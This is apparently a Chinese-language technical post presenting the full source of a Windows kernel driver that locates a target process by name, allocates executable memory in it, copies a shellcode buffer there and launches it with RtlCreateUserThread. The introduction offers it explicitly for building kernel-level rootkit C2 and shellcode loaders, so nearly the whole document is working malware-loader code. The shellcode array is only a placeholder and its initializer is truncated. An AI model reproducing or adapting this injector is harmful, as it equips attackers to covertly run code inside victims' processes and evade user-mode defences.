驱动ShellCode注入提权简述
常见的ShellCode加载器都是在R3层进行的如果有同学想在R0实现Rootkit C2并实现ShellCode注入或者是,
ShellCode加载器那么可以参考如下代码,该代码主要使用KeStackAttachProcess附件目标进程切换堆栈实现,
ShellCode加载效果。
#include <ntifs.h>
#include <ntddk.h>
UCHAR assemblyCode[10000]={0x90,0x90,0x90,……}
PEPROCESS GetProcessNameByProcessId(HANDLE pid)
{
PEPROCESS ProcessObj = NULL;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
Status = PsLookupProcessByProcessId(pid, &ProcessObj);
if (NT_SUCCESS(Status))
return ProcessObj;
return NULL;
}
NTSTATUS GetProcessHandleByProcessId(HANDLE pid, PHANDLE processHandle) {
OBJECT_ATTRIBUTES objAttr;
CLIENT_ID cid;
NTSTATUS status;
InitializeObjectAttributes(&objAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
cid.UniqueProcess = pid;
cid.UniqueThread = NULL;
status = ZwOpenProcess(processHandle, PROCESS_ALL_ACCESS, &objAttr, &cid);
return status;
}
VOID DriverUnload(PDRIVER_OBJECT driver) {
DbgPrint("first:Our driver is unloading...\r\n");
}
NTKERNELAPI UCHAR* PsGetProcessImageFileName(IN PEPROCESS Process);
HANDLE GetPidByProcessName(char* ProcessName)
{
PEPROCESS pCurrentEprocess = NULL;
HANDLE pid = 0;
for (int i = 0; i < 1000000000; i += 4)
{
pCurrentEprocess = GetProcessNameByProcessId((HANDLE)i);
if (pCurrentEprocess != NULL)
{
pid = PsGetProcessId(pCurrentEprocess);
if (strstr(PsGetProcessImageFileName(pCurrentEprocess), ProcessName) != NULL)
{
ObDereferenceObject(pCurrentEprocess);
return pid;
}
ObDereferenceObject(pCurrentEprocess);
}
}
return (HANDLE)-1;
}
NTSTATUS RtlCreateUserThread(
HANDLE ProcessHandle,
PSECURITY_DESCRIPTOR SecurityDescriptor,
BOOLEAN CreateSuspended,
ULONG StackZeroBits,
PULONG StackReserved,
PULONG StackCommit,
PVOID StartAddress,
PVOID StartParameter,
PHANDLE ThreadHandle,
PCLIENT_ID ClientID
);
NTSTATUS readprocess(HANDLE pid)
{
HANDLE jubing1;
OBJECT_ATTRIBUTES shuxing_duixiang;
CLIENT_ID iphao;
NTSTATUS zhuangtai1;
PVOID dizhi1;
SIZE_T diqudaxiao;
iphao.UniqueProcess = (HANDLE)pid;
iphao.UniqueThread = 0;
diqudaxiao = (sizeof(assemblyCode) + 0xFFFF);
dizhi1 = 0;
memset(&shuxing_duixiang, 0, sizeof(OBJECT_ATTRIBUTES));
zhuangtai1 = ZwOpenProcess(&jubing1, GENERIC_ALL, &shuxing_duixiang, &iphao);
if (!NT_SUCCESS(zhuangtai1))
{
KdPrint(("进程打开失败\n"));
}
else
{
KdPrint(("打开进程成功 pid==%d 进程句柄%x\n", iphao.UniqueProcess, jubing1));
}
NTSTATUS res = ZwAllocateVirtualMemory(jubing1, &dizhi1, 0, &diqudaxiao, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!NT_SUCCESS(res))
{
KdPrint(("内存分配失败\n"));
}
else
{
KdPrint(("分配好的虚拟内存地址%X 分配内存的大小%d\n", dizhi1, diqudaxiao));
PHYSICAL_ADDRESS physAddress = MmGetPhysicalAddress(dizhi1);
DbgPrint("Allocated virtual address: %p\n", dizhi1);
DbgPrint("Physical address: %p\n", physAddress);
NTSTATUS status = STATUS_SUCCESS;
PEPROCESS targetProcess = NULL;
status = PsLookupProcessByProcessId(pid, &targetProcess);
KAPC_STATE apcState;
KeStackAttachProcess(targetProcess, &apcState);
memcpy(dizhi1, assemblyCode, sizeof(assemblyCode));
HANDLE hThread;
CLIENT_ID clientId;
NTSTATUS ThreadStatus = RtlCreateUserThread(jubing1, NULL, FALSE, 0, NULL, NULL, dizhi1, NULL, &hThread, &clientId);
KeUnstackDetachProcess(&apcState);
}
ZwClose(jubing1);
return 0;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path) {
readprocess(GetPidByProcessName("process.exe"));
return STATUS_SUCCESS;
}